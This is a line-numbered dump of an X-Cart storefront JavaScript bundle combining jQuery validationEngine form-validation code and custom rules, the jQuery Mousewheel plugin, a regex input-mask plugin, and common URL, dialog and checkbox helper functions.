RegExp(/^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])\s+(1[012]|0?[1-9]){1}:(0?[1-5]|[0-6][0-9]){1}:(0?[0-6]|[0-6][0-9]){1}\s+(am|pm|AM|PM){1}$|^(?:(?:(?:0?[13578]|1[02])(\/|-)31)|(?:(?:0?[1,3-9]|1[0-2])(\/|-)(?:29|30)))(\/|-)(?:[1-9]\d\d\d|\d[1-9]\d\d|\d\d[1-9]\d|\d\d\d[1-9])$|^((1[012]|0?[1-9]){1}\/(0?[1-9]|[12][0-9]|3[01]){1}\/\d{2,4}\s+(1[012]|0?[1-9]){1}:(0?[1-5]|[0-6][0-9]){1}:(0?[0-6]|[0-6][0-9]){1}\s+(am|pm|AM|PM){1})$/).test(e)},_dateCompare:function(e,t){return new Date(e.toString())<new Date(t.toString())},_dateRange:function(e,t,a,r){return!r.firstOfGroup[0].value&&r.secondOfGroup[0].value||r.firstOfGroup[0].value&&!r.secondOfGroup[0].value?r.allrules[t[a]].alertText+r.allrules[t[a]].alertText2:F._isDate(r.firstOfGroup[0].value)&&F._isDate(r.secondOfGroup[0].value)&&F._dateCompare(r.firstOfGroup[0].value,r.secondOfGroup[0].value)?void 0:r.allrules[t[a]].alertText+r.allrules[t[a]].alertText2},_dateTimeRange:function(e,t,a,r){return!r.firstOfGroup[0].value&&r.secondOfGroup[0].value||r.firstOfGroup[0].value&&!r.secondOfGroup[0].value?r.allrules[t[a]].alertText+r.allrules[t[a]].alertText2:F._isDateTime(r.firstOfGroup[0].value)&&F._isDateTime(r.secondOfGroup[0].value)&&F._dateCompare(r.firstOfGroup[0].value,r.secondOfGroup[0].value)?void 0:r.allrules[t[a]].alertText+r.allrules[t[a]].alertText2},_maxCheckbox:function(e,t,a,r,i){var o=a[r+1],s=t.attr("name");if(o<e.find("input[name='"+s+"']:checked").length)return i.showArrow=!1,i.allrules.maxCheckbox.alertText2?i.allrules.maxCheckbox.alertText+" "+o+" "+i.allrules.maxCheckbox.alertText2:i.allrules.maxCheckbox.alertText},_minCheckbox:function(e,t,a,r,i){var o=a[r+1],s=t.attr("name");if(e.find("input[name='"+s+"']:checked").length<o)return i.showArrow=!1,i.allrules.minCheckbox.alertText+" "+o+" "+i.allrules.minCheckbox.alertText2},_creditCard:function(e,t,a,r){var i=!1,o=e.val().replace(/ +/g,"").replace(/-+/g,""),s=o.length;if(14<=s&&s<=16&&0<parseInt(o)){for(var n,l=0,d=(a=s-1,1),u=new String;n=parseInt(o.charAt(a)),u+=d++%2==0?2*n:n,0<=--a;);for(a=0;a<u.length;a++)l+=parseInt(u.charAt(a));i=l%10==0}if(!i)return r.allrules.creditCard.alertText},_ajax:function(s,e,t,n){var a=e[t+1],l=n.allrules[a],r=l.extraData,i=l.extraDataDynamic,o={fieldId:s.attr("id"),fieldValue:s.val()};if("object"==typeof r)T.extend(o,r);else if("string"==typeof r){var d=r.split("&");for(t=0;t<d.length;t++){var u=d[t].split("=");u[0]&&u[0]&&(o[u[0]]=u[1])}}if(i){var c=String(i).split(",");for(t=0;t<c.length;t++){var f=c[t];if(T(f).length){var v=s.closest("form, .validationEngineContainer").find(f).val();f.replace("#",""),escape(v);o[f.replace("#","")]=v}}}if("field"==n.eventTrigger&&delete n.ajaxValidCache[s.attr("id")],!n.isError&&!F._checkAjaxFieldStatus(s.attr("id"),n))return T.ajax({type:n.ajaxFormValidationMethod,url:l.url,cache:!1,dataType:"json",data:o,field:s,rule:l,methods:F,options:n,beforeSend:function(){},error:function(e,t){n.onFailure?n.onFailure(e,t):F._ajaxError(e,t)},success:function(e){var t=e[0],a=T("#"+t).eq(0);if(1==a.length){var r=e[1],i=e[2];if(r){if(n.ajaxValidCache[t]=!0,i){if(n.allrules[i])(o=n.allrules[i].alertTextOk)&&(i=o)}else i=l.alertTextOk;n.showPrompts&&(i?F._showPrompt(a,i,"pass",!0,n):F._closePrompt(a)),"submit"==n.eventTrigger&&s.closest("form").submit()}else{var o;if(n.ajaxValidCache[t]=!1,n.isError=!0,i){if(n.allrules[i])(o=n.allrules[i].alertText)&&(i=o)}else i=l.alertText;n.showPrompts&&F._showPrompt(a,i,"",!0,n)}}a.trigger("jqv.field.result",[a,n.isError,i])}}),l.alertTextLoad},_ajaxError:function(e,t){0==e.status&&null==t?alert("The page is not served from a server! ajax call failed"):"undefined"!=typeof console&&console.log("Ajax error: "+e.status+" "+t)},_dateToString:function(e){return e.getFullYear()+"-"+(e.getMonth()+1)+"-"+e.getDate()},_parseDate:function(e){var t=e.split("-");return t==e&&(t=e.split("/")),t==e?(t=e.split("."),new Date(t[2],t[1]-1,t[0])):new Date(t[0],t[1]-1,t[2])},_showPrompt:function(e,t,a,r,i,o){e.data("jqv-prompt-at")instanceof jQuery?e=e.data("jqv-prompt-at"):e.data("jqv-prompt-at")&&(e=T(e.data("jqv-prompt-at")));var s=F._getPrompt(e);o&&(s=!1),T.trim(t)&&(s?F._updatePrompt(e,s,t,a,r,i):F._buildPrompt(e,t,a,r,i))},_buildPrompt:function(e,t,a,r,i){var o=T("<div>");switch(o.addClass(F._getClassName(e.attr("id"))+"formError"),o.addClass("parentForm"+F._getClassName(e.closest("form, .validationEngineContainer").attr("id"))),o.addClass("formError"),a){case"pass":o.addClass("greenPopup");break;case"load":o.addClass("blackPopup")}r&&o.addClass("ajaxed");T("<div>").addClass("formErrorContent").html(t).appendTo(o);var s=e.data("promptPosition")||i.promptPosition;if(i.showArrow){var n=T("<div>").addClass("formErrorArrow");if("string"==typeof s)-1!=(u=s.indexOf(":"))&&(s=s.substring(0,u));switch(s){case"bottomLeft":case"bottomRight":o.find(".formErrorContent").before(n),n.addClass("formErrorArrowBottom").html('<div class="line1">\x3c!-- --\x3e</div><div class="line2">\x3c!-- --\x3e</div><div class="line3">\x3c!-- --\x3e</div><div class="line4">\x3c!-- --\x3e</div><div class="line5">\x3c!-- --\x3e</div><div class="line6">\x3c!-- --\x3e</div><div class="line7">\x3c!-- --\x3e</div><div class="line8">\x3c!-- --\x3e</div><div class="line9">\x3c!-- --\x3e</div><div class="line10">\x3c!-- --\x3e</div>');break;case"topLeft":case"topRight":n.html('<div class="line10">\x3c!-- --\x3e</div><div class="line9">\x3c!-- --\x3e</div><div class="line8">\x3c!-- --\x3e</div><div class="line7">\x3c!-- --\x3e</div><div class="line6">\x3c!-- --\x3e</div><div class="line5">\x3c!-- --\x3e</div><div class="line4">\x3c!-- --\x3e</div><div class="line3">\x3c!-- --\x3e</div><div class="line2">\x3c!-- --\x3e</div><div class="line1">\x3c!-- --\x3e</div>'),o.append(n)}}i.addPromptClass&&o.addClass(i.addPromptClass);var l=e.attr("data-required-class");if(void 0!==l)o.addClass(l);else if(i.prettySelect&&T("#"+e.attr("id")).next().is("select")){var d=T("#"+e.attr("id").substr(i.usePrefix.length).substring(i.useSuffix.length)).attr("data-required-class");void 0!==d&&o.addClass(d)}o.css({opacity:0}
85),"inline"===s?(o.addClass("inline"),void 0!==e.attr("data-prompt-target")&&0<T("#"+e.attr("data-prompt-target")).length?o.appendTo(T("#"+e.attr("data-prompt-target"))):e.after(o)):e.before(o);var u=F._calculatePosition(e,o,i);return T("body").hasClass("rtl")?o.css({position:"inline"===s?"relative":"absolute",top:u.callerTopPosition,left:"initial",right:u.callerleftPosition,marginTop:u.marginTopSize,opacity:0}).data("callerField",e):o.css({position:"inline"===s?"relative":"absolute",top:u.callerTopPosition,left:u.callerleftPosition,right:"initial",marginTop:u.marginTopSize,opacity:0}).data("callerField",e),i.autoHidePrompt&&setTimeout(function(){o.animate({opacity:0},function(){o.closest(".formError").remove()})},i.autoHideDelay),o.animate({opacity:.87})},_updatePrompt:function(e,t,a,r,i,o,s){if(t){void 0!==r&&("pass"==r?t.addClass("greenPopup"):t.removeClass("greenPopup"),"load"==r?t.addClass("blackPopup"):t.removeClass("blackPopup")),i?t.addClass("ajaxed"):t.removeClass("ajaxed"),t.find(".formErrorContent").html(a);var n=F._calculatePosition(e,t,o);if(T("body").hasClass("rtl"))var l={top:n.callerTopPosition,left:"initial",right:n.callerleftPosition,marginTop:n.marginTopSize,opacity:.87};else l={top:n.callerTopPosition,left:n.callerleftPosition,right:"initial",marginTop:n.marginTopSize,opacity:.87};t.css({opacity:0,display:"block"}),s?t.css(l):t.animate(l)}},_closePrompt:function(e){var t=F._getPrompt(e);t&&t.fadeTo("fast",0,function(){t.closest(".formError").remove()})},closePrompt:function(e){return F._closePrompt(e)},_getPrompt:function(e){var t=T(e).closest("form, .validationEngineContainer").attr("id"),a=F._getClassName(e.attr("id"))+"formError",r=T("."+F._escapeExpression(a)+".parentForm"+F._getClassName(t))[0];if(r)return T(r)},_escapeExpression:function(e){return e.replace(/([#;&,\.\+\*\~':"\!\^$\[\]\(\)=>\|])/g,"\\$1")},isRTL:function(e){var t=T(document),a=T("body"),r=e&&e.hasClass("rtl")||e&&"rtl"===(e.attr("dir")||"").toLowerCase()||t.hasClass("rtl")||"rtl"===(t.attr("dir")||"").toLowerCase()||a.hasClass("rtl")||"rtl"===(a.attr("dir")||"").toLowerCase();return Boolean(r)},_calculatePosition:function(e,t,a){var r,i,o,s=e.width(),n=e.position().left,l=e.position().top;e.height();r=i=0,o=-t.height();var d=e.data("promptPosition")||a.promptPosition,u="",c="",f=0,v=0;switch("string"==typeof d&&-1!=d.indexOf(":")&&(u=d.substring(d.indexOf(":")+1),d=d.substring(0,d.indexOf(":")),-1!=u.indexOf(",")&&(c=u.substring(u.indexOf(",")+1),u=u.substring(0,u.indexOf(",")),v=parseInt(c),isNaN(v)&&(v=0)),f=parseInt(u),isNaN(u)&&(u=0)),d){default:case"topRight":i+=n+s-27,r+=l;break;case"topLeft":r+=l,i+=n;break;case"centerRight":r=l+4,o=0,i=n+e.outerWidth(!0)+5;break;case"centerLeft":i=n-(t.width()+2),r=l+4,o=0;break;case"bottomLeft":r=l+e.height()+5,o=0,i=n;break;case"bottomRight":i=n+s-27,r=l+e.height()+5,o=0;break;case"inline":o=r=i=0}return{callerTopPosition:(r+=v)+"px",callerleftPosition:(i+=f)+"px",marginTopSize:o+"px"}},_saveOptions:function(e,t){if(T.validationEngineLanguage)var a=T.validationEngineLanguage.allRules;else T.error("jQuery.validationEngine rules are not loaded, plz add localization files to the page");T.validationEngine.defaults.allrules=a;var r=T.extend(!0,{},T.validationEngine.defaults,t);return e.data("jqv",r),r},_getClassName:function(e){if(e)return e.replace(/:/g,"_").replace(/\./g,"_")},_jqSelector:function(e){return e.replace(/([;&,\.\+\*\~':"\!\^#$%@\[\]\(\)=>\|])/g,"\\$1")},_condRequired:function(e,t,a,r){var i,o;for(i=a+1;i<t.length;i++)if((o=jQuery("#"+t[i]).first()).length&&null==F._required(o,["required"],0,r,!0))return F._required(e,["required"],0,r)},_submitButtonClick:function(e){var t=T(this);t.closest("form, .validationEngineContainer").data("jqv_submitButton",t.attr("id"))}};T.fn.validationEngine=function(e){var t=T(this);return t[0]?"string"==typeof e&&"_"!=e.charAt(0)&&F[e]?("showPrompt"!=e&&"hide"!=e&&"hideAll"!=e&&F.init.apply(t),F[e].apply(t,Array.prototype.slice.call(arguments,1))):"object"!=typeof e&&e?void T.error("Method "+e+" does not exist in jQuery.validationEngine"):(F.init.apply(t,arguments),F.attach.apply(t)):t},T.validationEngine={fieldIdCounter:0,defaults:{validationEventTrigger:"blur",scroll:!0,focusFirstField:!0,showPrompts:!0,validateNonVisibleFields:!1,ignoreFieldsWithClass:"ignoreMe",promptPosition:"topRight",bindMethod:"bind",inlineAjax:!1,ajaxFormValidation:!1,ajaxFormValidationURL:!1,ajaxFormValidationMethod:"get",onAjaxFormComplete:T.noop,onBeforeAjaxFormValidation:T.noop,onValidationComplete:!1,doNotShowAllErrosOnSubmit:!1,custom_error_messages:{},binded:!0,notEmpty:!1,showArrow:!0,showArrowOnRadioAndCheckbox:!1,isError:!1,maxErrorsPerField:!1,ajaxValidCache:{},autoPositionUpdate:!1,InvalidFields:[],onFieldSuccess:!1,onFieldFailure:!1,onSuccess:!1,onFailure:!1,validateAttribute:"class",addSuccessCssClassToField:"",addFailureCssClassToField:"",autoHidePrompt:!1,autoHideDelay:1e4,fadeDuration:300,prettySelect:!1,addPromptClass:"",usePrefix:"",useSuffix:"",showOneMessage:!1}},T(function(){T.validationEngine.defaults.promptPosition=F.isRTL()?"topLeft":"topRight"})}(jQuery);; 86/* AUTOGENERATED: custom.validationEngine.js */ 87(function(a){a.validationEngineLanguage.allRules.onlySmallLetterNumberUnder={regex:/^[a-z][0-9a-z_]+$/,alertText:"* Only small letter, digits and undescore sign are allowed"};a.validationEngineLanguage.allRules.modifier={regex:/^[\-\+]{1}([0-9]+)([\.,]([0-9]+))?([%]{1})?$/,alertText:"* Wrong format"};a.validationEngineLanguage.allRules.numberWithInfinity={regex:/^[\-\+]?((([0-9]{1,3})([,][0-9]{3})*)|([0-9]+)|\u221e)?([\.]([0-9]+))?$/,alertText:"* Wrong format"};a.validationEngineLanguage.allRules.integerWithInfinity= 88 {regex:/^[\-\+]?(\d+|\u221e)$/,alertText:"* Not a valid integer"};a.validationEngineLanguage.allRules.url={regex:/^[a-z](?:[-a-z0-9\+\.])*:(?:\/\/(?:(?:%[0-9a-f][0-9a-f]|[-a-z0-9\._~\xA0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF!\$&'\(\)\*\+,;
88=:])*@)?(?:\[(?:(?:(?:[0-9a-f]{1,4}:){6}(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(?:\.(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3})|::(?:[0-9a-f]{1,4}:){5}(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(?:\.(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3})|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(?:\.(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3})|(?:[0-9a-f]{1,4}:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(?:\.(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3})|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(?:\.(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3})|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(?:\.(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3})|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(?:\.(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3})|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|v[0-9a-f]+[-a-z0-9\._~!\$&'\(\)\*\+,;=:]+)\]|(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(?:\.(?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}|(?:%[0-9a-f][0-9a-f]|[-a-z0-9\._~\xA0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF!\$&'\(\)\*\+,;=@])*)(?::[0-9]*)?(?:\/(?:(?:%[0-9a-f][0-9a-f]|[-a-z0-9\._~\xA0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF!\$&'\(\)\*\+,;=:@]))*)*|\/(?:(?:(?:(?:%[0-9a-f][0-9a-f]|[-a-z0-9\._~\xA0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF!\$&'\(\)\*\+,;=:@]))+)(?:\/(?:(?:%[0-9a-f][0-9a-f]|[-a-z0-9\._~\xA0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF!\$&'\(\)\*\+,;=:@]))*)*)?|(?:(?:(?:%[0-9a-f][0-9a-f]|[-a-z0-9\._~\xA0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF!\$&'\(\)\*\+,;=:@]))+)(?:\/(?:(?:%[0-9a-f][0-9a-f]|[-a-z0-9\._~\xA0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF!\$&'\(\)\*\+,;=:@]))*)*|(?!(?:%[0-9a-f][0-9a-f]|[-a-z0-9\._~\xA0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF!\$&'\(\)\*\+,;=:@])))(?:\?(?:(?:%[0-9a-f][0-9a-f]|[-a-z0-9\._~\xA0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF!\$&'\(\)\*\+,;=:@])|[\/\?])*)?$/i, 89 alertText:"* Invalid URL"};a.validationEngineLanguage.allRules.phone={regex:/^([\+]?[\d]{1,3})?(?:\s*[ \(]([\d]{2,6})[ \)])?\s*([\d \.\-\/]{3,20})\s*(?:x|ext|extension|,)?\s*([\d]{1,4})?$/,alertText:"* Wrong number format"};a.validationEngineLanguage.allRules.email={func:function(field,rules,i,options){field.val(a.trim(field.val()));var customRule=rules[i+1];var rule=options.allrules[customRule];var pattern=new RegExp(rule.regex_old);return pattern.test(field.val())}
vendor: 4,183 bytes, lines 89-129
89,regex:null,regex_old:a.validationEngineLanguage.allRules.email.regex,alertText:a.validationEngineLanguage.allRules.email.alertText}})(jQuery);; 90/* AUTOGENERATED: jquery.mousewheel.min.js */ 91/*! 92 * jQuery Mousewheel 3.1.13 93 * 94 * Copyright 2015 jQuery Foundation and other contributors 95 * Released under the MIT license. 96 * http://jquery.org/license 97 */ 98!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b||window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1*g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1*g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1*m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1*g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1*l)),0!==m||0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j*=q,m*=q,l*=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j*=r,m*=r,l*=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f||f>n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),k.settings.normalizeOffset&&this.getBoundingClientRect){var s=this.getBoundingClientRect();o=b.clientX-s.left,p=b.clientY-s.top}return b.deltaX=l,b.deltaY=m,b.deltaFactor=f,b.offsetX=o,b.offsetY=p,b.deltaMode=0,h.unshift(b,j,l,m),e&&clearTimeout(e),e=setTimeout(c,200),(a.event.dispatch||a.event.handle).apply(this,h)}}function c(){f=null}function d(a,b){return k.settings.adjustOldDeltas&&"mousewheel"===a.type&&b%120===0}var e,f,g=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],h="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice;if(a.event.fixHooks)for(var j=g.length;j;)a.event.fixHooks[g[--j]]=a.event.mouseHooks;var k=a.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var c=h.length;c;)this.addEventListener(h[--c],b,!1);else this.onmousewheel=b;a.data(this,"mousewheel-line-height",k.getLineHeight(this)),a.data(this,"mousewheel-page-height",k.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var c=h.length;c;)this.removeEventListener(h[--c],b,!1);else this.onmousewheel=null;a.removeData(this,"mousewheel-line-height"),a.removeData(this,"mousewheel-page-height")},getLineHeight:function(b){var c=a(b),d=c["offsetParent"in a.fn?"offsetParent":"parent"]();return d.length||(d=a("body")),parseInt(d.css("fontSize"),10)||parseInt(c.css("fontSize"),10)||16},getPageHeight:function(b){return a(b).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})});; 99/* AUTOGENERATED: regex-mask-plugin.js */ 100/* vim: set ts=2 sw=2 sts=2 et: */ 101 102/** 103 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 104 * See https://www.x-cart.com/license-agreement.html for license details. 105 */ 106 107(function ($){ 108 $.fn.regexMask = function (mask) { 109 if (!mask) { 110 throw 'mandatory mask argument missing'; 111 } else if (mask == 'float-ptbr') { 112 mask = /^((\d{1,3}(\.\d{3})*(((\.\d{0,2}))|((\,\d*)?)))|(\d+(\,\d*)?))$/; 113 } else if (mask == 'float-enus') { 114 mask = /^((\d{1,3}(\,\d{3})*(((\,\d{0,2}))|((\.\d*)?)))|(\d+(\.\d*)?))$/; 115 } else if (mask == 'integer') { 116 mask = /^\d+$/; 117 } else { 118 try { 119 mask.test(""); 120 } catch(e) { 121 throw 'mask regex need to support test method'; 122 } 123 } 124 $(this).keypress(function (event) { 125 if (!event.charCode) return true; 126 var part1 = this.value.substring(0,this.selectionStart); 127 var part2 = this.value.substring(this.selectionEnd,this.value.length); 128 if (!mask.test(part1 + String.fromCharCode(event.charCode) + part2)) 129 return false;
130 }); 131 }; 132})(jQuery);; 133/* AUTOGENERATED: common.js */ 134/* vim: set ts=2 sw=2 sts=2 et: */ 135 136/** 137 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 138 * See https://www.x-cart.com/license-agreement.html for license details. 139 */ 140 141var URLHandler = { 142 143 excluded: { 144 'base': true 145 }, 146 baseURLPart: '', 147 querySeparator: '?', 148 argSeparator: '&', 149 nameValueSeparator: '=', 150 151 // Return query param 152 getParamValue: function (name, params) { 153 return name 154 + this.nameValueSeparator 155 + encodeURIComponent(typeof params[name] === 'boolean' ? Number(params[name]) : params[name]); 156 }, 157 158 // Get param value for the remained params 159 getQueryParamValue: function (name, params) { 160 return URLHandler.getParamValue(name, params); 161 }, 162 163 // Build HTTP query 164 implodeParams: function (params, method) { 165 result = ''; 166 isStarted = false; 167 168 for (x in params) { 169 170 if (isStarted) { 171 result += this.argSeparator; 172 } else { 173 isStarted = true; 174 } 175 176 result += method(x, params); 177 } 178 179 return result; 180 }, 181 182 // Implode remained params 183 implodeQueryParams: function (params) { 184 return this.implodeParams(params, this.getQueryParamValue); 185 }, 186 187 // Unset some params 188 clearParams: function (params, excluded) { 189 // clone object 190 var result = {}; 191 192 for (key in params) { 193 if (params[key] !== undefined && params[key] !== null && !(key in excluded)) { 194 result[key] = params[key]; 195 } 196 } 197 198 return result; 199 }, 200 201 preprocessParams: function (params) { 202 return this.clearParams(params, this.excluded); 203 }, 204 205 // Get base url 206 buildBaseUrl: function (params) { 207 var base = params.base || this.baseURLPart; 208 209 if (xliteConfig.clean_url && base === xliteConfig.clean_urls_base) { 210 return ''; 211 } 212 213 return params.base || this.baseURLPart; 214 }, 215 216 // Compose query params 217 buildQueryParams: function (params) { 218 return this.querySeparator + this.implodeQueryParams(this.preprocessParams(params)); 219 }, 220 221 getBuildURLPrefix: function (params) { 222 return xliteConfig.ajax_prefix && !(params && params.base === xliteConfig.admin_script) 223 ? (xliteConfig.ajax_prefix + '/') 224 : ''; 225 }, 226 227 // Compose URL 228 buildURL: function (params) { 229 return this.getBuildURLPrefix(params) + this.buildBaseUrl(params) + this.buildQueryParams(params); 230 } 231}; 232 233// Dialog 234 235// Abstract open dialog 236function openDialog(selector, additionalOptions) { 237 additionalOptions = additionalOptions || {}; 238 239 var box = jQuery(selector); 240 241 _.each( 242 ['h2', 'h1'], 243 function (tag) { 244 var elm = box.find(tag); 245 if ('undefined' == typeof(additionalOptions.title) || !additionalOptions.title) { 246 additionalOptions.title = elm.html(); 247 } 248 elm.remove(); 249 } 250 ); 251 252 popup.isLoading = false; 253 return popup.open(jQuery(selector), additionalOptions); 254} 255 256// Loadable dialog 257function loadDialog(url, dialogOptions, callback, link, $this) { 258 openWaitBar(); 259 260 var selector = 'tmp-dialog-' + (new Date()).getTime() + '-' + jQuery(link).attr('class').toString().replace(/[ \.]/g, '-'); 261 262 xcart.get( 263 url, 264 function (xhr, status, data) { 265 if (data) { 266 var div = jQuery(document.body.appendChild(document.createElement('div'))).hide(); 267 268 var uuid = _.uniqueId(); 269 270 xcart.bind(['resources.ready', 'resources.empty'], _.bind( 271 function (event, args) { 272 if (args.uuid === uuid) { 273 if (1 == div.get(0).childNodes.length) { 274 div = jQuery(div.get(0).childNodes[0]); 275 } 276 277 // Specific CSS class to manage this specific popup window 278 div.addClass(selector); 279 280 // Every popup window (even hidden one) has this one defined CSS class. 281 // You should use this selector to manage any popup window entry. 282 div.addClass('popup-window-entry'); 283 284 openDialog('.' + selector, dialogOptions); 285 286 if (callback) { 287 callback.call($this, '.' + selector, link); 288 } 289 } 290 }, 291 this) 292 ); 293 294 div.html(jQuery.trim(data)); 295 296 xcart.parsePreloadedLabels(div, uuid); 297 xcart.parseResources(div, uuid); 298 } 299 } 300 ); 301 302 return '.' + selector; 303} 304 305// Load dialog by link 306function loadDialogByLink(link, url, options, callback, $this) { 307 if (!link.linkedDialog || 0 == jQuery(link.linkedDialog).length || jQuery(link).hasClass('always-reload')) { 308 link.linkedDialog = loadDialog(url, options, callback, link, $this); 309 310 } else { 311 openDialog(link.linkedDialog, options, callback); 312 } 313} 314 315function openWaitBar() { 316 popup.openAsWait(); 317} 318 319function closeWaitBar() { 320 popup.close(); 321} 322 323// Check for the AJAX support 324function hasAJAXSupport() { 325 if (typeof(window.ajaxSupport) == 'undefined') { 326 window.ajaxSupport = false;
327 try { 328 329 var xhr = window.ActiveXObject ? new ActiveXObject('Microsoft.XMLHTTP') : new XMLHttpRequest(); 330 window.ajaxSupport = xhr ? true : false; 331 332 } catch (e) { 333 } 334 } 335 336 return window.ajaxSupport; 337} 338 339// Check list of checkboxes 340function checkMarks(form, reg, lbl) { 341 var is_exist = false; 342 343 if (!form || form.elements.length == 0) 344 return true; 345 346 for (var x = 0; x < form.elements.length; x++) { 347 if ( 348 form.elements[x].type == 'checkbox' 349 && form.elements[x].name.search(reg) == 0 350 && !form.elements[x].disabled 351 ) { 352 is_exist = true; 353 354 if (form.elements[x].checked) 355 return true; 356 } 357 } 358 359 if (!is_exist) 360 return true; 361 362 if (lbl) { 363 alert(lbl); 364 365 } else if (lbl_no_items_have_been_selected) { 366 alert(lbl_no_items_have_been_selected); 367 368 } 369 370 return false; 371} 372 373/* 374 Parameters: 375 checkboxes - array of tag names 376 checkboxes_form - form name with these checkboxes 377 */ 378function change_all(flag, formname, arr) { 379 if (!formname) 380 formname = checkboxes_form; 381 if (!arr) 382 arr = checkboxes; 383 if (!document.forms[formname] || arr.length == 0) 384 return false; 385 for (var x = 0; x < arr.length; x++) { 386 if (arr[x] != '' && document.forms[formname].elements[arr[x]] && !document.forms[formname].elements[arr[x]].disabled) { 387 document.forms[formname].elements[arr[x]].checked = flag; 388 if (document.forms[formname].elements[arr[x]].onclick) 389 document.forms[formname].elements[arr[x]].onclick(); 390 } 391 } 392} 393 394function checkAll(flag, form, prefix) { 395 if (!form) { 396 return; 397 } 398 399 if (prefix) { 400 var reg = new RegExp('^' + prefix, ''); 401 } 402 for (var i = 0; i < form.elements.length; i++) { 403 if ( 404 form.elements[i].type == "checkbox" 405 && (!prefix || form.elements[i].name.search(reg) == 0) 406 && !form.elements[i].disabled 407 ) { 408 form.elements[i].checked = flag; 409 } 410 } 411} 412 413/* 414 Opener/Closer HTML block 415 */ 416function visibleBox(id, skipOpenClose) { 417 var elm1 = document.getElementById('open' + id); 418 var elm2 = document.getElementById('close' + id); 419 var elm3 = document.getElementById('box' + id); 420 421 if (!elm3) { 422 return false; 423 } 424 425 if (skipOpenClose) { 426 elm3.style.display = (elm3.style.display == '') ? 'none' : ''; 427 428 } else if (elm1) { 429 if (elm1.style.display == '') { 430 elm1.style.display = 'none'; 431 432 if (elm2) { 433 elm2.style.display = ''; 434 } 435 436 elm3.style.display = 'none'; 437 jQuery('.DialogBox').css('height', '1%'); 438 439 } else { 440 elm1.style.display = ''; 441 if (elm2) { 442 elm2.style.display = 'none'; 443 } 444 